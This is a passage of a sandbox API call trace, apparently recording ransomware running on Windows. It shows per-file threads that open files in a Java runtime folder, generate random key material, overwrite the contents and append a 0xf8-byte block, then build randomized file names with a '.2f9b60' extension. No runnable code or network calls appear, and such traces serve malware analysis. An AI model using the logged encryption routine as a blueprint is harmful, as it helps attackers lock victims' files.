ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reunion", cAlternateFileName="")) returned 1 [0159.182] wcscmp (_String1="Reunion", _String2=".") returned 1 [0159.182] wcscmp (_String1="Reunion", _String2="..") returned 1 [0159.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x42308500 [0159.182] wcscpy (in: _Dest=0x42308500, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0159.182] wcscat (in: _Dest=0x42308500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0159.182] wcscat (in: _Dest=0x42308500, _Source="Reunion" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Reunion") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Reunion" [0159.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26dc [0159.183] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reunion", cAlternateFileName="")) returned 0 [0159.183] FindClose (in: hFindFile=0x1cd9d8b0 | out: hFindFile=0x1cd9d8b0) returned 1 [0159.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63da0) returned 1 [0159.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9940) returned 1 [0159.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86f0c0) returned 1 Thread: id = 2464 os_tid = 0x1ef4 [0154.130] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\met")) returned 0x20 [0154.130] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MET", dwFileAttributes=0x20) returned 1 [0154.131] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\met"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x135c [0154.132] GetFileSizeEx (in: hFile=0x135c, lpFileSize=0x29edfd20 | out: lpFileSize=0x29edfd20*=1184) returned 1 [0154.132] SetFilePointerEx (in: hFile=0x135c, liDistanceToMove=0x49c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.132] ReadFile (in: hFile=0x135c, lpBuffer=0x29edfca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29edfce8, lpOverlapped=0x0 | out: lpBuffer=0x29edfca0*, lpNumberOfBytesRead=0x29edfce8*=0x4, lpOverlapped=0x0) returned 1 [0154.148] SetFilePointerEx (in: hFile=0x135c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9140 [0154.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd91d0 [0154.149] NtQuerySystemTime (in: CurrentTime=0x29edfbe0 | out: CurrentTime=0x29edfbe0*=132462177592834000) returned 0x0 [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x192f03b1 [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x7bedccfc [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x14e54228 [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x12562ad0 [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x668cb13a [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x5c450e39 [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x5246607a [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x54508bd4 [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x7c4962fb [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x73493700 [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x75fe92b4 [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x4e6e2783 [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x2f6f52a [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x4804659f [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x3419af0b [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x213ba108 [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x30d09b2a [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x25f916aa [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x58830167 [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x5230505e [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x6914801c [0154.149] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x392d95 [0154.150] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x1391e009 [0154.150] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x4de33732 [0154.150] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x7593c4ee [0154.150] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x3a752a2b [0154.150] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x4aa2c2cf [0154.150] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x63f84484 [0154.150] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x4225940c [0154.150] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x4b1eb5e7 [0154.150] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x48f39b48 [0154.150] RtlRandomEx (in: Seed=0x29edfbd0 | out: Seed=0x29edfbd0) returned 0x37760a69 [0154.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9200 [0154.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0154.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9230 [0154.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0154.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd91d0) returned 1 [0154.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1a70 [0154.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0154.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427a52c0 [0154.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427a8ed0 [0154.160] ReadFile (in: hFile=0x135c, lpBuffer=0x427a52c0, nNumberOfBytesToRead=0x4a0, lpNumberOfBytesRead=0x29edfbd0, lpOverlapped=0x0 | out: lpBuffer=0x427a52c0*, lpNumberOfBytesRead=0x29edfbd0*=0x4a0, lpOverlapped=0x0) returned 1 [0154.160] SetFilePointerEx (in: hFile=0x135c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.160] WriteFile (in: hFile=0x135c, lpBuffer=0x427a8ed0*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x29edfbd4, lpOverlapped=0x0 | out: lpBuffer=0x427a8ed0*, lpNumberOfBytesWritten=0x29edfbd4*=0x4a0, lpOverlapped=0x0) returned 1 [0162.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7250 [0162.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7280 [0162.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7280) returned 1 [0162.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427a8ed0) returned 1 [0162.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427a52c0) returned 1 [0162.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0162.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1a70) returned 1 [0162.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d140 [0162.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1a70 [0162.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0162.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7280 [0162.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7280) returned 1 [0162.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d160 [0162.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7280 [0162.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a72b0 [0162.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a72b0) returned 1 [0162.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0162.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1a70) returned 1 [0162.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf8) returned 0x1b78e480 [0162.065] SetFilePointerEx (in: hFile=0x135c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.065] WriteFile (in: hFile=0x135c, lpBuffer=0x1b78e480*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x29edfcf0, lpOverlapped=0x0 | out: lpBuffer=0x1b78e480*, lpNumberOfBytesWritten=0x29edfcf0*=0xf8, lpOverlapped=0x0) returned 1 [0164.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0164.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0164.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd91a0 [0164.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd91a0) returned 1 [0164.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6) returned 0x1b7d3400 [0164.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd91a0 [0164.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9170 [0164.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9170) returned 1 [0164.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0164.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0164.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd) returned 0x1b82d100 [0164.032] sprintf (in: _Dest=0x1b82d100, _Format="%c%c" | out: _Dest="d8") returned 2 [0164.032] sprintf (in: _Dest=0x1b82d102, _Format="%c%c" | out: _Dest="46") returned 2 [0164.032] sprintf (in: _Dest=0x1b82d104, _Format="%c%c" | out: _Dest="e3") returned 2 [0164.032] sprintf (in: _Dest=0x1b82d106, _Format="%c%c" | out: _Dest="96") returned 2 [0164.032] sprintf (in: _Dest=0x1b82d108, _Format="%c%c" | out: _Dest="c9") returned 2 [0164.032] sprintf (in: _Dest=0x1b82d10a, _Format="%c%c" | out: _Dest="d9") returned 2 [0164.032] RtlInitAnsiString (in: DestinationString=0x29edfd68, SourceString="d846e396c9d9" | out: DestinationString="d846e396c9d9") [0164.032] RtlAnsiStringToUnicodeString (in: DestinationString=0x29edfd38, SourceString="d846e396c9d9", AllocateDestinationString=1 | out: DestinationString="d846e396c9d9") returned 0x0 [0164.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdd90b0 [0164.033] RtlFreeAnsiString (AnsiString="d") [0164.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d100) returned 1 [0164.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0164.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd91a0) returned 1 [0164.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e480) returned 1 [0164.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d160) returned 1 [0164.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7280) returned 1 [0164.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7250) returned 1 [0164.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9140) returned 1 [0164.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9200) returned 1 [0164.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9230) returned 1 [0164.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x203fa740 [0164.036] wcscat (in: _Dest=0x203fa740, _Source="d84" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\d84") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\d84" [0164.036] wcscat (in: _Dest=0x203fa740, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\d84.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\d84.2f9b60" [0164.036] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\d84.2f9b60", NtPathName=0x29edfd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\d84.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x42c227e0 [0243.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c227e0) returned 1 [0243.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2e5c0) returned 1 [0243.995] NtQueryInformationFile (in: FileHandle=0x135c, IoStatusBlock=0x29edfd78, FileInformation=0x29edfd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29edfd78, FileInformation=0x29edfd88) returned 0x0 [0243.995] NtSetInformationFile (FileHandle=0x135c, IoStatusBlock=0x29edfd78, FileInformation=0x29edfd88, Length=0x28, FileInformationClass=0x4) Thread: id = 2465 os_tid = 0x1ef8 [0154.134] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\mst")) returned 0x20 [0154.134] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST", dwFileAttributes=0x20) returned 1 [0154.135] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\mst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x840 [0154.135] GetFileSizeEx (in: hFile=0x840, lpFileSize=0x2b16fce0 | out: lpFileSize=0x2b16fce0*=27) returned 1 [0154.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd90b0 [0154.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9140 [0154.136] NtQuerySystemTime (in: CurrentTime=0x2b16fba0 | out: CurrentTime=0x2b16fba0*=132462177592678000) returned 0x0 [0154.136] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x23162a58 [0154.136] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x1fc29dd [0154.136] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x77aa0aab [0154.136] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x3ea71663 [0154.136] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x7a4d845c [0154.136] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x1ce854ba [0154.136] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x2fe0f8e8 [0154.136] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x2d6ba875 [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x663c9b27 [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x42d70a0c [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x277fbbea [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x584567a8 [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x4448a7a1 [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x218cfc3a [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x7ef0e7cc [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x3ce2442e [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x4f844d69 [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x190fdfc1 [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x64b4625a [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x3adb7c60 [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x28d20543 [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x23a7bfd9 [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x3ab1bd4e [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x7dbbb1c0 [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x744c7ee2 [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x160b3fad [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0xaf3ce69 [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x3e99d51d [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x19dba176 [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x4e72c9ee [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x47660509 [0154.137] RtlRandomEx (in: Seed=0x2b16fb90 | out: Seed=0x2b16fb90) returned 0x79560e42 [0154.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9170 [0154.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0154.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd91a0 [0154.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0154.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9140) returned 1 [0154.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1a20 [0154.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0154.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4279daa0 [0154.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427a16b0 [0154.147] ReadFile (in: hFile=0x840, lpBuffer=0x4279daa0, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2b16fb90, lpOverlapped=0x0 | out: lpBuffer=0x4279daa0*, lpNumberOfBytesRead=0x2b16fb90*=0x1b, lpOverlapped=0x0) returned 1 [0154.148] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.148] WriteFile (in: hFile=0x840, lpBuffer=0x427a16b0*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x2b16fb94, lpOverlapped=0x0 | out: lpBuffer=0x427a16b0*, lpNumberOfBytesWritten=0x2b16fb94*=0x1b, lpOverlapped=0x0) returned 1 [0162.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a71f0 [0162.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7220 [0162.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7220) returned 1 [0162.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427a16b0) returned 1 [0162.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4279daa0) returned 1 [0162.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0162.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1a20) returned 1 [0162.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d100 [0162.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1a20 [0162.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0162.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7220 [0162.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7220) returned 1 [0162.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d120 [0162.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7220 [0162.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7250 [0162.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7250) returned 1 [0162.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0162.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1a20) returned 1 [0162.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf8) returned 0x1b78e380 [0162.057] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.057] WriteFile (in: hFile=0x840, lpBuffer=0x1b78e380*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2b16fcb0, lpOverlapped=0x0 | out: lpBuffer=0x1b78e380*, lpNumberOfBytesWritten=0x2b16fcb0*=0xf8, lpOverlapped=0x0) returned 1 [0164.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0164.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0164.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4030 [0164.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4030) returned 1 [0164.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6) returned 0x1b7d3400 [0164.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4030 [0164.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4000 [0164.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4000) returned 1 [0164.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0164.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0164.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd) returned 0x1b82d0c0 [0164.023] sprintf (in: _Dest=0x1b82d0c0, _Format="%c%c" | out: _Dest="66") returned 2 [0164.023] sprintf (in: _Dest=0x1b82d0c2, _Format="%c%c" | out: _Dest="0d") returned 2 [0164.023] sprintf (in: _Dest=0x1b82d0c4, _Format="%c%c" | out: _Dest="66") returned 2 [0164.023] 